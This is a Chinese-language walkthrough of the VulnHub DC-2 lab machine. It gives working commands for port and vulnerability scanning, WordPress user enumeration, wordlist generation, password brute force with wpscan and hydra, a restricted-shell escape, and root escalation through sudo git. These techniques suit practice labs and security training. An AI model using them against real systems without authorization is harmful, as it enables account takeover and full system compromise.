VulnHub DC-2
一、信息收集
1.nmap扫描
扫描开放端口，发现只开启了80、7744端口
┌──(rootkali)-[~/桌面]
└─# nmap --script=vuln -p80,7744 192.168.103.190
--script=vuln 可以检查目标主机或网段是否存在常见的漏洞
2.添加hosts
浏览器访问http://192.168.103.190/，发现无法正常访问页面，但在url地址栏会有http://dc-2域名提示，发现问题是本地无法解析域名dc-2
编辑/etc/hosts文件，添加靶机IP地址及对应域名：192.168.103.190 dc-2
vim /etc/hosts
192.168.103.190 dc-2
二、漏洞利用
1.flag1
添加域名解析后，可以正常访问网页信息，并能在Flag页面找到flag1
提示使用cewl密码字典生成工具，并且在登录后可以找到下一个flag
2.dirsearch扫描目录
dirsearch -u "http://192.168.103.190/"
通过扫描发现WP的登录目录：
http://192.168.103.190/wp-admin/
3.wpscan
使用wpscan工具扫描网站，获取可以登录网站的用户名，扫描后可以找到三个用户名：admin、tom、jerry
┌──(rootkali)-[~/桌面]
└─# wpscan --url http://dc-2/ -e u
现在就是要生成一个密码字典，提供后面的爆破
将用户名名添加到bp-user.txt中
admin
tom
jerry
使用flag1中提示的工具cewl生成密码字典 bp-passwd.txt
┌──(rootkali)-[~/桌面]
└─# cewl http://dc-2/ -w bp-passwd.txt
爆破密码
┌──(rootkali)-[~/桌面]
└─# wpscan --url http://dc-2/ -U bp-user.txt -P bp-passwd.txt
jerry / adipiscing
tom / parturient
1.tom 登录
没有发现什么有价值的信息
2.jerry登录
发现flag2信息
If you can't exploit WordPress and take a shortcut, there is another way.
Hope you found another entry point.
如果你不能利用WordPress并抄近路，还有别的办法。
希望你能找到另一个切入点
4.flag2
Flag2提示从另外一个方向切入，所以80端口切入失败，这时用到另外一个7744(ssh)端口
使用hydra工具使用已生成的密码字典对已知的用户名进行ssh登录密码爆破，获得ssh登录用户
┌──(rootkali)-[~/桌面]
└─# hydra -L bp-user.txt -P bp-passwd.txt 192.168.103.190 ssh -s 7744
username: tom
password: parturient
5.ssh连接
-p 7744 指定端口ssh连接
┌──(rootkali)-[~/桌面]
└─# ssh [email protected] -p 7744
login: tom
password: parturient
三、提权
1.改环境变量
使用tom用户ssh登录后，使用 ls 命令在家目录中找到flag3.txt，有一个 su 提示应该切换用户
Flag3：
Poor old Tom is always running after Jerry. Perhaps he should su for all the stress he causes.
但发现tom只能使用less、ls、scp、vi命令，无法直接使用su命令切换用户
BASH_CMDS[a]=/bin/sh a #调用/bin/sh命令解释器
/bin/bash #使用bash命令解释器
export PATH=PATH:/bin:/sbin:/usr/bin:/usr/sbin #设置环境变量
2.jerry用户
切换到jerry用户，进入jerry家目录下
su jerry
adipiscing #jerry用户登录密码
提示：用git
Flag4：
Good to see that you've made it this far - but you're not home yet.
You still need to get the final flag (the only flag that really counts!!!).
No hints here - you're on your own now. :-)
Go on - git outta here!!!!
3.sudo(git)提权
提权网站：
git | GTFOBins 
https://gtfobins.github.io/gtfobins/git/#sudo
sudo git -p help config
!/bin/sh
4.root权限
